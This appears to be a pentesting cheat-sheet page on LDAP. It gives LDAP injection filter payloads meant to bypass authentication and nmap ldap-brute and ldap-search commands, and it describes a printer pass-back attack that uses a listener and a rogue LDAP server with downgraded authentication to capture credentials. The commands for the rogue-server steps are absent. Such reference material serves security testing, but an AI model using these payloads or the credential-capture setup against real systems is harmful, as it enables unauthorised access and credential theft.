Page cover

Ldap injection

(&uid=)(userPassword=) (&uid=)|(userPassword=) (&uid=)|(objectClass=)(userPassword=password123)

)(uid=))(|(password=*)

LDAP (Lightweight Directory Access Protocol) Pentesting

nmap --script ldap-brute --script-args ldap.base='"cn=users,dc=cqure,dc=net"' -p 389 <target-ip>
nmap --script ldap-search -p 389 <target-ip>
nmap --script ldap-* -p 389 <target-ip>
nmap --script "ldap* and not brute" -p 389 <target-ip>
Copied!

Belows are defined in LDAP.

  • cn - Common Name

  • dc - Domain Component

  • ou - Organizational Unit

If you have the credential, you can get the Active Directory information via LDAP.

Attack against the network devices such as printers. For example, access http://printer.sub.example.com/settings.aspx

Open a listener for connecting back to your local machine.

In your browser, test LDAP settings where you input username and password.

If we cannot connect back in local machine by netcat, we need to create a rogue LDAP server. Install the dependencies at first.

Configure your own rogue LDAP server by executing the following command.

We need to make your rogue LDAP server to be vulnerable by downgrading the supported authentication mechanism. Create the config file named "config.ldif".

Now we can use the config file to patch the LDAP server.

We can verify that the rogue LDAP server’s configuration has been applied:

For capturing the credentials, run the following command.

Last updated